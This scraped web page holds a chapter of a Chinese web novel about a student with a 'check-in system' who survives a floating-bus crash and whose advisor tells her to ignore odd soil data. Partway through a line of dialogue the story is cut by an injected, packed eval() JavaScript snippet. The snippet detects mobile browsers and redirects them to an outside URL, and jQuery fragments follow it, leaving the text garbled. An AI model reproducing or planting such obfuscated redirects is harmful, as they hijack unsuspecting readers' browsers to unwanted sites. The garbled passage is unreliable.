默认冷灰
24号文字
方正启体

3. 出车祸

作者:Diente牙骨本书字数:K更新时间:
    早上池响出门的时候,特意看了一下系统的倒计时,还有六个多小时就要刷新新的打卡点了。


    她略有些疲惫地叹了口气,又要打卡,又要生活,这日子真是有点喘不过气啊。


    “响响,把包带上。”池喻芳追出来,把斜挎包塞到了池响手里。


    “好。”池响背上了包,包里面装满了东西,她一背上就立刻感觉自己命苦了不少。


    她昨晚已经和质检局的人说了她今天会去拿样品,趁打卡危险程度还不是很高的时候,她得赶紧把论文给解决了。


    早上的城空巴士人不是很多,她找了个位置坐下就开始打瞌睡。


    睡到一半,她忽然整个人猛地一震,一头撞在旁边的栏杆上,她下意识一摸,额头破了。


    “我日啊。”她骂道。


    没想到奶奶准备的医药包这么快就用上了。


    等她给自己的伤口处理好后,才发现车内的氛围不太对劲。


    “你们得给我个说法吧!”有个男人崩溃地喊道,“怎么会撞上的?我他妈请问了,这不是城空吗,怎么会撞上啊!我全勤没了啊!!!你们帮我养家啊??”


    池响这会才完全清醒。


    她看了眼倒计时。


    【下一个打卡地点将在5小时02分钟后刷新。】


    她又看了眼导航。


    距离目的地还有七个站。


    她再次看了眼窗外。


    她在离地面六十米的高空上。


    最后面无表情地打开手机,给质检局的人发消息。


    【谁读环境谁是狗】:不好意思,城空轨道好像出了点问题,我得晚点到了。


    【质检袁嘉禄(非工作勿扰)】:?


    【质检袁嘉禄(非工作勿扰)】:你是什么绝世倒霉蛋,城空轨道三年都不一定出一次问题,居然能被你撞上。


    【谁读环境谁是狗】:哈哈。


    【谁读环境谁是狗】:是啊,为什么呢,小编也很疑惑呢。


    打完这行字后池响放下了手机,周围的人还在和司机吵。司机一脸唯唯诺诺,像是想发怒但又不敢。


    那个发火的男人捂着脸颓唐地蹲下了。


    这时候司机才有点愤懑地开口:“你骂我有什么用?是我想撞上的吗?我都特地避开了,鬼知道城安局的人为什么一头创过来啊?”


    他话音刚落,对面相撞的那辆车上跳下来一个年轻的小伙。


    车内的人发出惊呼,却没看到小伙掉下去,他漂浮在城空轨道上,朝司机出示了自己的证件。


    黑色封皮,烫金字,是官方一贯以来的风格。


    车门一开,他站进来便问:“城安局办案,工号20056,姓名俞行川。车内有没有人伤亡?”


    池响捂着额头:“我的心死了算伤亡吗。”


    那男人不甘落后:“我的钱包死了算伤亡吗?”


    空气停滞了两秒。


    有个学生端着自己的毕设模型,悲哀道:“我的前途死了,算伤亡吗?”


    俞行川点了点头:“看来大家精神状态不错。”接着他又问司机,“调度的车多久能到?”


    司机摇摇头:“没有调度的车,上头不派。这辆车是跨环特列,班次很少。”


    “那就照样开吧。”他说完,注意到了池响鼓鼓囊囊的包,旁边还挂着一卷绳子,“你包里装了什么?”


    池响耸耸肩:“上课的东西。”


    “上课要用绳子?”


    “对,万一导师不让我毕业我就吊死在她办公室里。”


    俞行川:“……好。”


    既然受伤情况不严重,那他也没必要在这里耗下去了。他转身离开了巴士。


    又过了两分钟,城空巴士重新启动起来,但是车内的氛围变得不一样了。


    失去全勤的男人仍然在咒骂,用词越来越恶毒,被人劝了句小心惹祸上身之后,他居然呜呜哭了起来。


    “狗公司……”他吸着气,“迟到一次、就扣一半工资……我孩子还要打基因药,怎么活啊?”


    他一哭,也有人跟着哭了。


    池响也想哭,但是哭起来还要擦鼻涕眼泪,未免太狼狈了,所以她吸了吸鼻子忍住了。


    “唉。”司机也跟着叹了口气,“别气啦,你起码还活着呢。刚刚城安局那小伙看着也是个年纪不大的孩子,进了那种地方,还不知道能活几年。”


    男人擦着鼻涕问:“什么意思?”


    “城安局可是直面怪异的,看过新闻吧?”说完刚刚那句话,司机忽然紧张地看了眼监控,“我说这些应该不算违规吧……嗯,应该不算。”


    车内的氛围又沉寂了几分。


    池响窝在座位里,额头还是很疼,疼得她有些昏昏欲睡。


    于是她睡着了。


    再次睁眼时,车已经开到了二环,她看了眼手机,要到站了。


    池响从车内走出来,踩在悬浮踏板上,飘到了出站口。


    二环比三环干净不少,在这里工作的人也大多是一些体面人。


    高薪的工作,能打得起基因药剂,虽然也许大家都一样早出晚归,但他们可以享受更好的医疗保障与社会保障。


    她穿过开满鲜花的街道,来到一栋雪白的建筑前。


    淡淡的金色字迹浮现出来:桑拓工业驻二环质检局欢迎您的到来。


    “同学!”有人在门口等她。


    池响走过去,脸上带出笑容:“你好!你是袁师姐吗?”


    “对,是我!”袁嘉禄点点头,余光瞄了眼池响头上的纱布,“你就是梁老师带的毕业生吧?样品在我那呢,检测报告也出来了。”


    “辛苦师姐了。”池响说。


    她跟着袁嘉禄走进建筑里面,袁师姐其实是个很健谈的人,聊着聊着,她突然提起了池素闻。


    “池素闻女士是你母亲吗?”


    池响怔住了,她已经很久没有从别人口中听到过妈妈的名字了,犹豫了几秒后,才点了点头:“对,怎么了吗?”


    “梁老师跟我们提过你母亲呢,你知道吗?她们一起做过事,老师还让我们拜读过你母亲的论文!《论怪异污染土壤的农用可能性》,项目成果最后还落地了,造福了不少人!否则还不知道现在一顿正常饭得卖到什么天价去……”袁嘉禄越说越兴致勃勃起来。


    “我们不要说这些。”池响立刻打断了她,“妈不回家了,我们去研究院问,人家不见我们。”


    袁嘉禄也是愣了一下,随后她意识到了什么,顿时住了嘴。


    “这也是没有办法的事情。”快到样品存放室的时候,袁嘉禄抹了下眼睛,喃喃自语,“要把一切都奉献给潮影城嘛……”


    池响沉默地找到自己的样品,又沉默地看完检测报告,和想象中差不多,似乎并没有什么值得在意的东西。


    “这个课题前人都做得差不多了,梁老师可能不会给你很高分。”袁嘉禄评价道,“梁老师喜欢有创意的课题,这样可能会影响到你之后的入职。我还是很期待你和我来做同事的。”


    池响摇摇头,把检测报告塞回包里:“没机会了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415155|200753||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    袁嘉禄正想追问,忽然想起眼前这女孩觉醒的是打卡系统,想要张开的嘴又黏上了。


    还是不要说些让人伤心的话吧。


    她遗憾地想。


    离开质检局的时候,池响又下意识看了眼系统。


    【下一个打卡地点将在4小时18分钟后刷新。】


    烦死了,想一拳捶爆系统!


    她一边黑着脸一边加快了脚步,从这里坐城空巴士回学校至少也得两个小时,然后再和导师叭叭半天,说不定她的论文还没谈好就已经刷新了!


    但是打飞的,她又真的不舍得花这个钱……


    犹豫再三,池响还是咬咬牙选择了坐巴士。


    大不了挨老师一顿骂!她就不信老师能比没钱还可怕!


    而就在梁蕴玉等得不耐烦的时候,某个糟心的学生终于急匆匆赶来了。


    “怎么这么慢?路上出了什么事情吗?你一向是个很准时的孩子啊。”梁蕴玉按住了自己的恼火,尽力使口吻变得温和。


    学生可怜兮兮地抹了把眼泪:“导师——你都不知道!我今天撞车了!”


    梁蕴玉被吓了一跳,这才注意到倒霉学生额头上渗血的纱布:“天呀,孩子快坐下,来。怎么搞的?出车祸了?你可以提前给我发个消息,明天再来也不迟呀!”


    池响叹了口气:“不行啊导师,我赶着毕业呢。要是再不抓紧时间,我可能就见不到自己戴学士帽的那天了。”


    “这么严重啊?”梁蕴玉也发现事情不对路了,“池响,你觉醒了什么系统?”


    池响委屈地说:“打卡系统……”


    好吧。


    梁蕴玉在心里重重地叹了口气。


    “没事的,我还撑得住!”池响气势汹汹地掏出自己的样品和检测报告,“为了毕业!”


    她没有问导师为什么不告诉她和自己妈妈认识的事情。


    池响一直认为自己是个很懂分寸的人。


    梁蕴玉接过学生的检测报告看了起来,她研究土壤的数据很多年了,一眼就看出了不对劲的地方。


    “池响,你看这个数据。”她指着报告上的导电性说道,“太高了,已经远超平均值了。”


    池响想了一下,没明白:“为什么?这里的含水量不是偏高吗?”


    “你对数据不熟。”梁蕴玉摇头,“同样含水率下,这个数值也还是太高了。”


    池响继续冥思苦想:“为什么呢?这里好像是没有出现过怪异的土壤吧,我在二环挖的呀……”


    梁蕴玉盯着这份检测报告看了许久,她直到这时候才稍微有点理解学生的倒霉程度。


    “就这样吧,不要深究了。”她一锤定音,“你就按照正常值去写,忽略这份报告里的内容。”


    池响看向导师。


    导师一向是个很严谨的人,而且对学术造假非常痛恨。


    这个数据问题这么严重?应该是土不对吧……


    “你是个聪明孩子,而且你的生活也说不上安稳。”梁蕴玉声音沉了沉,“孩子,听我的,别再想了。”


    池响点点头,表面上是听了导师的话,心却沉下去了。


    正常的泥土导电性高有无数种理由可以解释。


    如果是正常理由也就罢了,万一这个理由不正常呢?


    万一这个理由会指向所有人都不愿意看见的结果呢?


    有什么事情会让他们这么谨慎呢?


    池响心中忽然一跳。


    万一是……其实二环内,也有可能会出现怪异呢?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)